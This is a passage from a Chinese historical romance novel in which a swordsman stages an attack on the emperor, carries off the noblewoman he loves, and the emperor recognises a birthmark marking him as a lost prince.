他停顿了一瞬,回头看了看坠在后面保持着适宜距离的仆从,将心放下继续道:“我的母妃少年时期也有个心上人,是个落魄书生,但当时身为亲王的父王对母妃一见钟情,来外祖父家下聘,外祖父是时任礼部侍郎,自是没瞧上那书生的,说母妃当时闹了几日,最后还是嫁给了父王。” “母妃说刚开始她对父王十分冷漠,甚至一日都不愿同父王说一句话,若是放在旁的人家,怕是夫婿早就生厌离去了,但父王很喜欢母妃,便一日复一日对母妃嘘寒问暖,用时间打动了母妃,所以自我有记忆起,父王和母妃便十分要好,若不是母妃身边的关婆婆同我念叨这些陈年往事,我压根不知父王和母妃还有这样一桩苦尽甘来的缘分。” “所以。” 李承钰满面生辉望着她,话语含笑道:“我们也可以如父王和母妃一样,你会对我满意的,我不比他差的,仪君。” 将英王家的家事听了一脑袋,云桑不知说什么,最后听到李承钰这满含期盼的话,她好半天不知怎么反驳他,只沉沉摇头道:“不一样的,世子。” 她对江见的感情,和英王妃是不一样的。 她可能永远忘不了江见,也永远无法释怀。 不知不觉间,山腰处那一朵一朵的行帐近在眼前,目的地到了。 知道寥寥几句话根本改变不了对方的心意,云桑干脆闭嘴,去找爹爹,往自家营帐赶了。 走了好半天的山路,众人都面带疲惫,纷纷钻到自家行帐歇息了。 拿出临行前厨娘才做好的肉菜果品,父女两人在行帐内开始用饭。 有的人家不怕麻烦,将厨子也带来过来,行帐间偶尔炊烟阵阵,飘着热腾腾的饭香。 本想着用完饭后午睡片刻,谁知才用了半碗饭, 外面翻了天。 “有刺客,快来护驾~” 一语激起千层浪,山腰间再安静不下来了,乱成一锅粥。 天子遇刺,这是何等要紧的事,羽林军迅速出动,欲捉拿刺客。 傅允一听这动静,立即将汤勺一扔,绷起了一张脸叮嘱道:“囡囡乖乖留在行帐里,千万别出去。” 说完,人掀帘而去,留下外面一众傅家侍卫守卫行帐。 “爹爹,爹爹~” 云桑是想劝爹爹也不要去,连天子都敢刺杀的那等凶残刺客,若是卷进去不知什么下场,爹爹一介文官,若是迎头碰上了刺客可如何是好。 深知自己出去也是添乱,云桑只能急得在行帐里转圈圈,最多凑在帘门处透过缝隙偷偷看外面的兵荒马乱。 就在不知转第几圈时,一阵尖利笛音响起,虽然距离她有些距离,也许久未曾听过了,但云桑还是瞬间辨认了出来。 那是江见骨笛的声音! 身体比大脑更快地作出了反应,云桑冲出了行帐,朝着笛音传来的地方跑去。 骨笛伤人于无形,且用于敌人众多的情况,江见在此地吹奏骨笛,再联系方才有刺客行刺陛下一事,答案呼之欲出。 云桑的心跳得厉害,就好像下一刻便要从嗓子眼里蹦出来。 她甚至没有时间去想江见是如何回来的,满心都是另一种猜测。 难不成是江见将怨气都撒到了陛下身上,认为是陛下是最大的阻碍,便要报复行刺? 要不然她实在猜不到缘由。 不顾家仆和侍卫的阻拦,云桑奔向笛音。 随着距离笛音越来越近,那声音也越来越刺耳,云桑双手捂着耳朵,穿越人潮,走到了江见面前。 也就是在那一刻,那让人气血翻涌的笛音停了,世界变安静了。 入目是一地羽林军,不过都没死,只是被笛音扰得无法反抗。 陛下身前立着十来位还能站立的羽林军,皆持刀护卫着,神情凶悍。 江见一眼锁定了气喘吁吁跑来的云桑,于一片混乱中,两人眼神撞在了一起。 也正是这时,羽林卫的弓箭手来了,箭矢飞一般擦破空气飞来,目标便是一身白袍的江见。 云桑心都提到了嗓子眼,惊吓只余竟喊不出一点声音。 好在下一刻,江见轻而易举地将其化解了。 少年身姿灵活,如最为轻盈的雨燕,不费吹灰之力地躲开了那些要命的箭矢,抽出腰间长剑,又是接下了下一波。 羽林军不知为何这刺客不再吹奏那折磨人的笛子,他们只抓紧时间拉弓护卫天子。 江见避开箭矢的空档,飞速朝着那些羽林卫就是一剑,分明隔着有段距离,但剑风却是将人都扫得人仰马翻。 他朝着一个方向飞奔而去,那正是云桑所在的地方。 云桑来不及逃跑,也不觉得应该逃跑,只愣愣地立在那,成为一个…… 呃……人质。 有些不可思议,但事实确实如此。 一把被江见勒进怀中,后背嵌在他怀里,脖颈被他的大掌不轻不重地扣着。 “谁再乱放箭,小心要了这位贵女的性命!” 江见喊话时胸腔跟着震颤,连带着云桑的脊骨一道,久违的熟悉感回来了,云桑全身的血液都热了起来。 顺着江见长剑所指的方向看过去,云桑看见了许多熟面孔。 陛下、爹爹、熙宁、英王爷英王妃、李承钰…… 其他人的神情都大差不差,只有识得江见的爹爹和李承钰神情复杂难辨,不知在想什么。 弓箭手不好再拉弓了,他们之间或多或少都有许多将士识得傅家小姐,若是真有个好歹,傅公不会放过伤了他女儿性命的人。 尽管是为护卫陛下。 “陛下不可,我女儿在刺客手中,勿要放箭~” 虽然同样弄不清这个胆大包天的小子究竟想做些什么,但傅允至少知道,这小子不会伤他女儿性命,但那些兵蛮子就不一定了,说不定一失手一箭就放出来了。 傅允临危不乱,装作不认识江见,只是一个女儿被刺客挟持的父亲。 被掩护在羽林卫身后的承宁帝其实一点伤也没受,只是被那个突然出现的刺客整出了一身冷汗。 他甚至没有看清对方的模样,那把长剑就斩下了他一片袍角,到现在承宁帝都心有余悸。 若是那把剑当时斩的不是衣裳,而是他身上,怕就不是眼前的光景了。 看了一眼正担惊受怕的傅卿,又望了望正被刺客挟持在怀的少女,那恍惚震惊的模样,想必也是害怕极了。 整个长安都知,傅卿只这一个女儿,简直就是他的命根子,若他不管不顾让弓箭手拉弓,傅卿的女儿真死在了这,怕是自己不止是会失去一个孙媳妇,还会失去一个堪用的臣工。 “都给朕……” “嗖~” 承宁帝话还没说完,一支冷箭不知从哪个方向飞出来,径直往傅家女儿的咽喉钉去。 被掩在众多羽林卫身后的景王看着那一箭,勾起了一抹即将得逞的笑。 他景王府得不到傅家的助力,那英王府乃至其他兄弟也休想得到! 第76章 第 76 章 人质 如花的生命就要在眼前逝去, 那一刻,别说是傅允了,就连承宁帝眼中都闪过了一丝不忍。 他 们不认为刺客会珍惜人质的性命。 “仪君!” 傅允和李承钰同时喊出声, 目眦欲裂。 就在众人都以为要目睹傅家千金血溅当场的一幕时, 箭矢停住了, 就停在少女咽喉前三寸,被一只手稳稳地握住了。 那惊险的一幕也将云桑吓的全身僵硬, 这是她距离死亡最近的一次,也是最凶险的一次。 她呆呆地看着江见握住箭矢的手, 青筋乍现,因为用力, 甚至还隐约有咯吱声。 千钧一发之时,江见连剑都来不及挥出,只松开了钳制云桑脖颈的手, 险之又险地接住了那支羽箭。 差一点,就差一点, 人就在他怀里被夺了性命。 意识到这点, 江见勃然大怒,看向箭矢飞来的方向, 但分不清到底是谁人射出来的。 不过没关系, 这个“人质”不行,那他就换一个有分量的。 众人还没从刺客为保护人质徒手接下那一箭中回过神来, 就见刺客将傅家千金一松,推到了临近的树后,然后以一种不可思议的速度往承宁帝这边奔来。 “速速警戒,护卫陛下!” 羽林卫察觉到江见的意图,大吼道。 但从放下傅家千金奔到羽林卫面前战作一团, 只是几个眨眼间,除了羽林卫外,旁人都未来得及反应。 云桑躲在树后,方才被那一箭吓僵的心脏又急速跳动了起来,人都要吓傻了。 这可是株连九族的大罪啊! 场面一片混乱,云桑看见爹爹没能穿过眼前乱七八糟的人群,急得唉声叹气。 刚刚那一箭分明是故意来取她性命的,云桑没时间去思索是谁这么想让她死,但怕又有箭往她这里扎,干脆扎进了官眷堆里,继续提心吊胆地看着战况。 羽林卫虽将陛下围得如铁桶一般,奈何江见的霜叶剑气太盛,每一次挥剑都能带倒一大片羽林郎,直接将铁桶撕开了一个缺口。 大概是知道这事宜快不宜慢,江见已改素来漫不经心的姿态,横冲直撞。 好歹是精挑细选护卫天子的,他们咬牙坚持着,打算用性命挡住刺客。 江见也发现了这一点,没打算这样耗下去,动了动脑筋,故意露了一个破绽,引得贪功心切的羽林郎也不死守了,挥着长刀便冲了过来。 云桑好像听到了皮肉的撕裂声,那柄长刀上也染上了鲜红的血。 是江见受伤了。 云桑暗暗忧心,只怕他真寡不敌众,落入了羽林卫的手,那便在劫难逃了。 就算是爹爹也无能为力。 这样一想,云桑一颗心揪得紧紧的,目光丝毫不敢离开战圈。 然只是瞬息间,局势逆转,江见一剑挑开挡在承宁帝身前的羽林郎,踩着他的后背一蹬,借力袭到了承宁帝跟前。 天子剑就挂在腰侧,可承宁帝一下并未拔出,一柄泛着彻骨寒意的剑刃就横在了他的颈间,凭着这刺客的身手,只需稍动动,长安政局就要风起云涌。 “陛下!” 钳制着老皇帝退了好几步,与羽林卫拉开了距离,江见看着神色惊骇的众人,朗声笑道:“这个人质应当管用了吧,我看谁敢杀皇帝!” “都退后,放下兵刃!” 明明自己正行着大逆不道的事,还敢扬着笑轻喝出这样的话,连傅允都开始犯迷糊了,不知这小子是吃错了什么药,要不然怎会如此疯魔? 别说是羽林卫了,几个王爷也是不敢妄动,皆在叱喝江见这个胆大包天的刺客。 有人质在手,江见丝毫不觉害怕,只觉得他们有些吵,烦躁道:“骂够了没有,都给我闭嘴,谁再骂一句我就在老头身上划一下,你们也逃不了干系。” 效果很好,四下鸦雀无声,也没人在那刺耳朵了。 “都后退,待我离开,这老头自然能活命,若是敢轻举妄动,我死了也得拉个垫背的!” 刺客的话十分狠绝,几个王爷都没法,只能命令羽林卫后撤。 景王沉着脸看着被刺客挟持的父皇,纷乱的脑中猝然划过一个大逆不道的念头,但很快又被他的理智按下去了。 此刻不是好时机,若父皇有什么三长两短,他不一定能争得过二哥英王。 手中钳制住的老人有些干瘦,怕他挣扎碍事,江见封了他的几处穴道使他不能乱动,此刻承宁帝就像是一只被掐住死穴的小鸡崽。 江见架着众人膜拜尊崇的天子,一步步离开了包围圈,但无人敢乱来。 谁要是手抖了射了一箭,引起刺客大怒夺了陛下性命,那自己也逃不了弑君的罪责。 一双双眼睛瞪着,本以为刺客会退出山腰,下山逃命,却见他诡异地挟持着陛下快速到了一堆女眷堆里,在惊得四散的女眷堆里钳住了刚才的傅家千金,左手一个,右手一个,竟凌空腾飞起来了。 “正好,缺个媳妇,这个生得俊,就笑纳了。” “老头待会还给你们~” 再一晃神,刺客已经带着陛下和傅家千金一头扎进了茂密的丛林中,消失在了眼前。 只余下一众目瞪口呆。 脾气好如傅允,这厢也被江见乱七八糟的一系列行径气得吹胡子瞪眼。 李承钰更是没沉住气,当即在英王夫妇面前黑了脸,还是英王心思通透,看出了端倪,稳住了失态的儿子。 “吾儿沉神,不可在此时被人抓住把柄。” 一来二去的,英王都开始觉得这门婚事定的不好了,奈何承钰这孩子执拗,妻子心软,夫妻两人便随了他的意。 哪知闹出今日的荒唐,英王也没了笑,面上肃穆。 “还愣着干什么,快去追,营救陛下!” 看着还犹在愣神的羽林卫,英王沉声下令,羽林卫如梦初醒,朝着刺客消失的方向追去。 今年的祭天多半是夭折了,众人心道。 …… 深秋山里风凉,站着不动倒还好,但被江见带着飞驰在半空中便不好了。 冷风灌到嘴里,云桑没忍住咳了几声,引得江见侧目,将她往怀里扯了扯。 可惜他身上没有什么斗篷氅衣什么的,不能够为其遮挡什么,只能提速继续赶路。 被封了穴道的承宁帝没法动弹,同样喝了一嘴的冷风。 那双平日端肃威严的眼眸中如今只剩下阴霾。 活了那么大岁数,他还是第一次被刺客挟持在手,毫无尊严。 正待云桑在冷风中瑟缩着,忽感腰腹间蹿上一股暖意,很快蔓延到了全身。 她很快就不冷了,脸蛋都浮了两团红晕。 低头看了一眼在冷风中脸色难看的陛下,云桑唇瓣翕张,想说些什么,终是咽了下去。 不知在山林间蹿了多久,感觉陛下的嘴唇都发白了,羽林卫更是鬼影也没瞧见半个,江见终于落地了。 落地后就将承宁帝扔了下去,斜倚在树干上,呼哧呼哧地喘着粗气。 “朕还从未见过如你这般胆大包天的刺客,敢行刺挟持朕,这可是诛九族的大罪。” 将自己草草扔下来,转头就看见这小子将傅家丫头小心放置在地上,承宁帝嘴角抽搐道。 “随便,九族就我一个人,谁怕你。” 将云桑放下,江见发现腰腹间的伤口渗出了太多的血,有些晕眩,而且那些血将娘子的衣裳也弄脏了,血淋淋的一片,很是难看。 掏出伤药,就听见老皇帝吓唬他,江见扭头,冷哼回道。 此时天光大亮,少年迎着光看过来,那张鲜活俊美的脸也进入了承宁帝的视线。 承宁帝怔了一瞬,不知为何他觉得这少年生得让他感到熟悉,但一时又想不起来像谁。 再想看一眼,人已经扭过头,话语更是猖獗得没边。 承宁帝气得咳了两下,心想若能活着回去,定杀此少年。 “过来给我上药!” 承宁帝艰难地靠在树干上,看着天边南飞的人字形大雁,耳畔响起少年颐指气使的话语。 承宁帝偏头看去,见那猖獗的少年将身上的衣裳脱了,裸露着身子,朝着傅家丫头喊话。 少年背对着他,承宁帝自然看不见他腰腹上的伤痕,但从傅家丫头的神情看出,伤势应该不轻。 想来是害怕,傅家丫头虽一声没吭,但还是乖乖过去帮人上药了,仔细看眼中还有泪花,定是被吓着了。 为了方便上药,少年脱了衣裳便靠着旁边的树坐了下来,承宁帝随意扫去了眼风,在看见少年右腹那道鲜血淋漓的狰狞伤口时,也看到了少年腹部左下方那枚凤鸟状的红色胎记。 满腹沉怒与焦躁一瞬间烟消云散,承宁帝神情恍惚,死死地盯着那块凤鸟形胎记,血液都凝滞了起来。 云桑其实有很多话想同江见说,但顾及着陛下还在一旁,她的理智不允许她多说话。 听见江见凶神恶煞地喊她过去上药,云桑将满腔话语压在心口,老实过去了。 羽林卫长刀无情,在江见的腰腹上划出了一个约莫三寸长的刀口,因为长时间运功飞驰,上面不断渗出鲜血,皮肉外翻着。 云桑看得眼眶一热,强忍着不让自己落泪。 这样多的血,不止是需要伤药的,还要纱布,可如今山野里寻不到那些东西,云桑便想撕衣裳,至少撕出几条充当纱布。 但她低估了锦缎,亦或者高估了自己,用着吃奶的力气撕了好几下,都没撼动一分。 “呵~” 只听见头顶上方传来一声轻笑,一双手就伸了过来,暴力地撕开了云桑的衬裙,还贴心地撕成好几条。 不敢去看江见的表情,云桑掏出手帕将伤口处的血一点点擦干净,笨拙地将药粉撒在狰狞的伤口上。 预料中的冷嘶声没等到,云桑诧异地抬头,对上江见等了许久的眼眸。 幽黑深邃,看不出喜怒,诡异莫测。 云桑心中一怵,低下头继续撒药粉。 “你身上为何会有这样的胎记?” 苍老、艰涩、缓慢,一句话就好像被风吹落的枯叶,被承宁帝忽地说了出来。 云桑看了一眼陛下,只觉得好似脸色红润了些 不解陛下为何那么问,云桑看了眼那个胎记,目光很快又被狰狞的伤口吸引走了。 得快点包扎好才行。 一股脑将药粉又撒了一大片,这下她听到江见嘶了一声,明显是恼了些,但没对着她。 “老头你是不是老糊涂了,还我怎么会有这样得胎记,当然是自己长的,难不成找别人借啊!” “真会问。” 本就看这老皇帝不顺眼,现在听他问出这个蠢问题,江见很难忍住不怼他。 怼完后,江见神清气爽,继续去盯他的娘子。 冒了这一次险,日后便能日日对着娘子了,江见一双眼睛淬着笑,难掩欢喜。 “少年,你叫什么名字?” 承宁帝紧紧盯着那块凤鸟状的胎记,记忆追溯到了十八年前,一次雨夜。 太子妃徐氏产下一个男孩,当夜,天降甘霖,让干旱了几月的农人欣喜若狂,承宁帝的心情也豁然开朗。 与旁的婴孩不同,九孙儿生下来便是白白嫩嫩的,不像前面的几个孙儿,都是皱巴巴的小猴子,就连如今模样精致的三孙儿当时也没能免俗。 而且九孙儿生得很漂亮,就像个女孩,尽管产婆说是个男孩,承宁帝还是打开小毯子瞧了一眼。 不止看见了把儿,还看见了婴孩左下腹一块造型奇特的红色胎记。 像只展翅翱翔的凤凰,随着皮肉一颤一颤的,十分鲜活。 正因着这个胎记和那张酷似女孩的小脸蛋,承宁帝当时戏言要给九孙儿取名李青鸾。 女儿辈从玉字,孙女辈从青字。 那夜他十分高兴,抱着这个小孙儿走了好几圈,还被孙儿尿了一身。 再然后,便是太子一家已然身死的消息,包括那个漂亮的小孙儿,一同死在了祸乱中。 承宁帝有时还会夜半自梦中惊醒,老泪纵横,思念着太子一家。 时隔十八年,承宁帝再次看见了那块胎记,虽说变大了不少,但他绝不会认错,就是当年的长大了而已。 再看少年那张漂亮鲜妍的脸,承宁帝突然就想起来那股熟悉感是哪里来的了。 他生得不像太子,像太子妃徐氏。 心口像是有一方巨石碎裂开来,承宁帝眼前的景象模糊了起来,看不清少年的脸。 但在江见看来,这老皇帝就跟有病一样。 “无可奉告。” 谁没事跟陌生人,甚至是老皇帝这样的透露自己的名姓,简直找死。 低头,见云桑艰难地给他缠布条,累得吭哧吭哧的模样,江见干脆将布条抢过来自己缠上了。 不是什么要命的伤势,江见没放在眼里,将布条打了个结,三两下将染血的衣袍穿上,就要抱着云桑继续赶路。 虽然他已经到了山脚下,甩了那些笨头笨脑的羽林卫很长一段距离,但磨叽的久了还是会被找到,为了避免不必要的麻烦,他得带着娘子快走。 谁承想被推开了,少女面色为难。 “我不能跟你走,你自己走吧。” 他自己跑,没有她这个累赘,兴许还能跑得快些,不被抓住。 听得江见都气笑了,直接一提腰将人扛在肩上,冷哼道:“这轮得到你说话,今日你必须跟我走,反抗也没用!” 费了这么一番心思,冒了这么一通险,不惜领下刺杀天子的罪名,都是为了顺手牵走她这只羊,江见哪里能允许自己空手而归。 撂下那么一句狠话,江见扛着人就走,眨眼间便如云鹤一般飞走消失在了眼前。 只剩下一腔情绪无处宣泄,一腔疑问无人解答的承宁帝,两只沧桑的眼追着江见消失的方向而去。 “别走……” 承宁帝颤抖着唇吐出两字,神色恍惚。 第77章 第 77 章 重回 被江见扛在肩上又是行了许久, 江见停在了一条野径边,很明显那是一条出山的路。 云桑还看见了一个熟人,不对, 是熟马。 雪白的皮毛, 矫健的身姿, 正是自回长安一直喂养在家的流云。 因为在傅家吃得太好又不像以前那样时常活动,现在的流云又添了些膘, 看起来更壮实了。 被江见放下来,流云看见他们, 正高兴地甩着尾巴,云桑揉了揉肚子, 一言难尽。 “你怎么还把流云偷出来了?” 流云自觉走到她身边,用脑袋蹭了蹭云桑的手,看起来很欢喜。 “什么叫偷, 这马又不单是你一个人的,我这叫拿回我的东西。” 跟上来的江见听这话不乐意了, 将拴在流云身上的小布袋拿下来, 兜头套在了云桑身上,气哼哼反驳她。 粽子似的袋子挂在身上, 鼓鼓囊囊的, 一分都未曾变化,正是当时自己给江见打包好的包裹, 如今又完好无损地倒她身上了。 “你是怎么……嗳!” 话还没问完,腰间攀上来两只手,一使力她整个人就腾空了,安定下来时已经坐在了马背上,不过是侧坐。 没等她动一下调整姿势, 江见就翻到了她后面,两手攥着缰绳,两臂正好将云桑圈在其中。 云桑心知江见是要带她去哪,仍不死心道:“真的要把我带回去吗?” 云桑觉得自己问出了很傻的问题,她明明知道江见今日是冲着他来的。 什么刺杀陛下,都是幌子,要杀早杀了,也不会还将人放了。 大约是冲着她来的,但用的什么烂法子,这下好了,他成了筏子,自己在众人眼中则成了无辜受害的存在。 这是用折损自己作为代价的,江见至此以后都会成为天家通缉的要犯了。 想到这,云桑都替他发愁。 江见抖了抖缰绳,流云迈开四蹄跑起来,风在耳畔簌簌作响,云桑听得有些艰难。 “废话,不带你回去,我辛苦这一趟干嘛,吃饱了撑的?” “就是和预期设想的不大一样,本想着直接把你当人质带走,却发现你这个人质份量不够,只能把皇帝老头当人质了,虽然麻烦了点,但目的达到就成。” 他说得风轻云淡的,云桑听得直蹙眉道:“你知道这样做的后果是什么吗?” “知道,当皇家的通缉犯呗,这有什么,比起这个,看你同别人过一辈子才是可怕,我情愿选这个。” 云桑无言,颠簸感让他下意识抓紧江见的胳膊,江见瞧了她一眼,装模作样绷着脸道:“怕颠下去就抱着我。” 云桑没有动作,一是觉得没到那程度,而是顾及他腹部的新伤。 但这样的态度显然让江见误会了,以为她在不满什么。 嘴一撇,加快了速度,晃得云桑有些坐不住,就想抱点什么。 腰显然不能乱碰,本来带伤骑马就已经不该了,若是再被自己勒出了好歹,云桑更难受了。 她只能去抱别的地方,比如江见的脖子。 猝不及防被圈住脖子,颈边拱上来一个毛茸茸的脑袋,熟悉的馨香钻入心口,他一个没忍住弯起了眼,但下一刻想到可能会被云桑一抬眼瞧见,赶紧将笑憋了回去,继续拉着一张脸,让自己看起来很生气。 实际上他觉得自己的伤口都不疼了。 …… 江见如她预料的那般气上她了,话比以前少了许多,看着她时也总一副冷漠的模样,说了他不高兴的话,还会阴阳怪气她,都在她的预料之内。 只一点,无论这人什么嘴脸什么语气,亲她的时候倒是丝毫不客气,甚至比以前跟放肆贪心了。 以前好歹还会记得白日克制着些,如今是一概不管了,任何时段,只要他想,眼神一凝就压过来了,非得尽了兴,将她弄得两颊绯红,肌骨无力才肯作罢。 云桑寻思着,她几乎没给过他任何暗示,怎就一副如狼似虎的做派? 定是他自己心不净,天天想着。 不过每到这个时候,江见便装不下冷漠了,热烈又活泼,就像是之前那样。 她很喜欢,所以对于江见过分的索求并不排斥,甚至会被他愈发娴熟高超的技艺勾得神志不清,软成一滩水。 这一路虽赶得急,但却没让云桑受什么罪,甚至江见怕马背磨到她,专门买了个厚软的鞍垫铺着,云桑一路只管靠在他怀里,或者一双臂膀间。 有时候甚至一路睡一路,醒来就已经在客栈床上了,不得不叹服江见的本事。 九莲山上受的伤也在日复一日的上药中好了七七八八,只留下一道浅粉色的疤痕。 因为这次路程只是两人一马,不再是笨重的马车出行,江见又归心似箭,一路上不再悠哉悠哉,竟没到一个月便过了雍州城,抵达西陵山脉。 距离她和李承钰的婚期,早已逾期了半个月。 犹记得九月十八那日,江见少见的放缓了脚步,在城镇中寻了个客栈落脚,夜里将她亲得迷迷糊糊,压在她身上故意恶狠狠道:“看吧,事在人为,天家的婚事又怎样,姓李的今日能看见娘子一根头发丝吗?还不是同我睡一个被窝。” 除了嘲讽外,那股得意的劲压都压不下去,要不是云桑实在没力气说话,非得趁机说几句风凉话。 做了这样诛九族的破事,他还有心情得意,云桑真不知说他什么了。 对于江见把她从九莲山掳走的一事,云桑从心底并未抗拒。 以往她怕因为自己的私自奔走牵连爹爹,如今江见闯了这样一场大祸,将矛头都吸引了过去,于不知情的人而言,她与爹爹父女二人是被带累的,只要爹爹维持好姿态,陛下都只当爹爹是个女儿被掳走的可怜臣工。 她的心本就系在江见身上,能与自己喜欢的人相守,是一件极为难得而幸运的事。 眼下她只希望江见能好好藏着、活着,一旦暴露,他万劫不复。 只李承钰,是个变数。 她不确定李承钰是否会将她与江见的牵扯说与陛下听,但可以确定的是,李承钰一定会追究到底。 江见做都做了,不用白不用,总归自己先前没有跟江见私奔,只希望爹爹能机灵些,做好了痛失爱女的姿态便好。 孟冬时节,西陵山脉中比上次愈发凄清,江见怕她冷,还给他买了个手炉,一路上揣在怀里。 江见真的很能装,都快一个月了,他竟还能忍得住拉他那张冷脸? 甚至有时候都当着云桑的面破功了,笑成傻子一般,下一刻竟还能脸不红气不喘地绷着脸。 每次遇到这一幕,云桑都很想笑话他,但又怕自己一笑激怒了他,这厮恼羞成怒下过来堵她的嘴。 爱装使劲装,看他能装到什么时候。 先是在山里打了一只野兔和山鸡,两人痛痛快快吃了一顿才重新启程。 肚子里有了热乎乎的饭食,云桑人也跟着暖了许多。 这回江见没有再问她要不要走一会,一到雪山脚下便将她卷进了怀里,踩着沙沙作响的积雪带着流云前行了。 “不要忘记待会多喂流云些东西。” 缩在江见怀中,云桑细心叮嘱着,得来的是对方装模作样的一道冷哼。 云桑便知道他应下了。 风雪侵人寒,被江见暖洋洋的内力裹着,云桑很快又困了,头一歪靠在那具坚实的胸膛上睡着了。 梦里她走在绵软厚实的雪地里,走了许久,看见了不远处等待她的江见。 他的笑似乎有温度,漫天风雪都开始融化了。 云桑欢喜地扑进他的怀中,那一刻,冬去春来。 云桑再度醒来时,眼前是一片漆黑,她懵了片刻才反应过来江见应该是走到了洞窟里。 顾念着江见的胳膊,自己也想下来走走,云桑扭了几下,示意江见放下她。 动作娴熟亲昵地拉着江见的手,以防自己不会在这弯弯绕绕的洞窟中走丢。 手刚触上去,就被攥紧了,快得没有一丝空隙。 云桑没忍住笑了一声,在这样寂静的洞窟环境中分外明显。 听出了云桑的意思,江见捏了捏她的掌心肉,大有恼羞成怒的意思。 “有什么好笑的?” 虽然看不清江见此刻的神情,但云桑知道他此刻一定像个河豚。 “笑你明明早就不生气了,还要装冷脸给我看,不累吗?” 自己那点别扭心思被揭穿,江见首先要感谢漆黑的洞窟,掩饰住了他羞恼之下变红的脸。 “胡说,我正在气头上呢,我没装,你给我小心点,不然我看我怎么收拾你!” 被揭穿了但依旧嘴硬着,说些拒不认罪的话,犟得可爱。 云桑根本不信他拙劣的鬼话,故意往他身上挤了挤,软绵绵的身子贴在他身上,笑语嫣然道:“那你要怎么收拾我啊?” 一句话将人问得哑巴了,就听江见吭哧了半天也没说出什么,更是没有推开贴上来的她,只故作凶恶道:“等到时候你就知道了!” 云桑就知道是这样,心中暗笑着,脆生生应了一声好,让本就心虚的江见心更乱了。 没想到一直被自己“欺压”的娘子也有这样逗弄自己的时候,江见只觉气恼又新奇,甚至还想再感受遍那种小鹿乱撞的感觉。 两人一马很快踏出了洞窟,春日潮湿温暖的气息扑面而来,满面盈香。 大片翠浓绿意映入眼帘,浑身寒气一扫而空,第二次来到云桑谷,又是截然不同的感觉。 还未走下去,就被眼力耳力同样出色的凌沧海注意到了,正在喂鸡的他看见成双成对的二人,喜得两眼眯起道:“回来了就好,回来了就好!” …… 长安城 十日的时间过去,承宁帝几乎将九莲山附近,乃至整个长安翻了个遍,甚至京畿区域也都派羽林卫去寻了,可仍然杳无音讯,就好像人间蒸发了一样。 他不知那少年是哪来的,也不知他要去往何处,承宁帝就像个无头苍蝇一样打转。 但这些无法打消他亢奋的情绪,他一想到那个少年,便觉得心田滚烫。 十八年了,老天爷终究是给他留 了一线喘息的机会。 因为心里头都被这件要紧事塞满了,三孙儿的婚事他也没功夫去想,承宁帝甚至想着傅家丫头能不能将他带回来。 显然,这个可能性很低,他只能努力去探查那少年的身世来处。 因为爱女和未婚妻被掳走了,傅卿和他那三孙儿状态不佳,承宁帝能理解,但实际没有多大的肝火。 假若真是那样,他将竭力补偿那个孩子,不过是一个臣女,他若喜欢那便指给他,这对承宁帝来说很好选择。 然如今任凭他想得如何天花乱坠,那孩子的影子都没有,承宁帝一颗心像是被烈火焚烧,一筹莫展。 正在这时,他那受了天大侮辱的三孙儿来面见他,言之凿凿道:“皇祖父明鉴,傅公或许知那刺客所在。” 李承钰什么也不想顾了,仪君被抢走,于他而言便是天大的事,他要把仪君找回来,而那个江湖草莽,皇祖父杀了最好。 未婚妻被抢走,李承钰竟连往哪里追都不得而知,好不容易想起上官家有位公子是那厮的朋友,或许可知,然一打探得知,上官朔已经带着金阳堂妹回了药王谷,他扑了空,再次断了线索。 李承钰只能将唯一的希望放在傅允身上,赌他知道那个江湖草莽在哪。 他只要仪君回来。 这是九月十八那日他枯坐在预备好的新房中得出的决心。 傅允得知陛下召见他时,心里便以想好了措辞,一个能将傅家摘出去的措辞。 那个愣小子冒了这么大险给了傅家这样一个生路,他怎会不晓得如何做。 到了陛下的寝殿,内外宫人皆退了出去,只留下心腹许内监,还有意料之中的英王世子。 淡淡瞥了李承钰一眼,傅允心中发沉,多少有些不虞。 这对于傅允来说其实很好做选择,他虽恼火江见擅自劫走了女儿,但他知道女儿在他那会被妥帖照顾,更重要的是,这是女儿真切喜欢的人,与江见在一起,女儿便再不会憔悴伤心了。 但李承钰来这一下,帝王之怒,或许两人连各自安好都做不到了。 假若那小子真的因此丢了性命,傅允不敢想女儿的余生会是何种惨淡凄清。 他只想他的囡囡能够快乐地活着,为此他做什么都愿意,这样日后九泉之下再见妙澜,他也能信誓旦旦地告诉她他们的女儿过得很幸福。 所以,他今日绝不能暴露江见的所在。 傅允知道陛下对于刺客的事很着急,但没想到这样着急,才唤他起来,便开门见山问话了。 “承钰说,傅卿可能知晓那少年的下落,故而召卿来一探究竟,希望卿勿要隐瞒才是。” 傅允做足了心理准备,面不改色道:“世子猜错了,臣也不知那少年身在何处。” 承宁帝好不容易找到了一线生机,却看傅允这人愣是不说,很难不急躁火大。 “傅卿,你明明识得那孩子,却隐瞒不语,就不怕朕治你一个欺君之罪?” “你收留过那孩子一段时间,就住在你家,他此次于九莲山所举,谁知是不是你们故意串通好的!” 为了诈出实话,承宁帝想尽了法子,不惜拿弑君来压。 这点傅允早有了准备,跪答道:“陛下明察,既然世子已先行说了,那臣也没什么好隐瞒的,臣确实是识得此少年的,正是他在小女遭难时救了小女性命,且一路护送归家,小女归家后,言与那少年心心相印,欲解除与世子婚事,然臣几次登门恳切赔礼英王府皆不许,中秋那夜,陛下也斥了小女,小女心知无法同那少年结缘,悲痛之下断舍离,将人强行送走,在家安心待嫁。” “本是万无一失的,却不知那少年怎么突然回来了,还在九莲山上做出那等事,臣也是猝不及防,看着爱女在眼前被其劫走,臣也一直盼着陛下能将小女救回啊~” 说完,傅允长跪于地,话语中维持着恰到好处的悲凄。 将傅允那一番话听了,承宁帝神情恍惚,呢喃道:“果真不知那少年在何处吗?” 傅允仍旧长跪,未答一语。 已花甲之年的老人脸色瞬间灰败了起来,坐在榻上,悲伤之下开始自说自话。 “朕必须找到他,朕亏欠了太子,不能再亏欠他了……” 这样饱含深意的一句话出来,傅允和李承钰脸色都是惊变。 官场沉浮几十载,话语之间的机锋傅允最是敏感,当下便抬起头来试探问道:“陛下此话何意,那少年与章懿太子……” 傅允敏锐地捕捉到了这一关联,他话语未尽,只看着承宁帝。 意识到自己把要紧事嘀咕了出来,然承宁帝也没什么好掩饰的,在场不过三人,都是近臣和自家孙子,他早晚要说的。 承宁帝站起身,对着空旷的寝殿喃喃道:“我那九孙儿,左下腹有块特殊的胎记,那少年,也有一块一模一样的。” “还有,他生得多像徐氏。” 一语激起千层浪,李承钰来不及深想,但却知他可能再也无法靠着皇权来缚住仪君了。 傅允反应更是快,忙不迭又是一拜,话语中掩饰不住激动。 “陛下,请恕臣隐瞒之罪,臣知晓那少年生长在何处。” 